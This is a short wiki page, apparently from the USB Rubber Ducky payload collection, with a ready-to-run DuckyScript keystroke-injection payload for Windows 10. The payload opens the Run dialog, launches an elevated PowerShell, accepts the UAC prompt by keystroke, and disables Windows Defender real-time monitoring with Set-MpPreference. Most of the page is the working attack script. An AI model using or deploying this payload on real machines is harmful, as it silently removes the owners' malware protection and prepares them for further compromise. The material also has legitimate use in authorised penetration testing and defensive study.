wiki-rubber-ducky-usb/Payload---Windows-10-:-Disa...

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Windows defender can be disabled with PS using the following command

Set-MpPreference -DisableRealtimeMonitoring $true

An example script:

REM Windows 10: Disable Windows Defender with Powershell
REM Author: Judge2020
REM author website: Judge2020.com
REM  
REM let the HID enumerate
DELAY 1000
GUI r
DELAY 200
REM my best attempt at a elevated powershell instance
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 1000
ALT y
DELAY 200
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
STRING exit
ENTER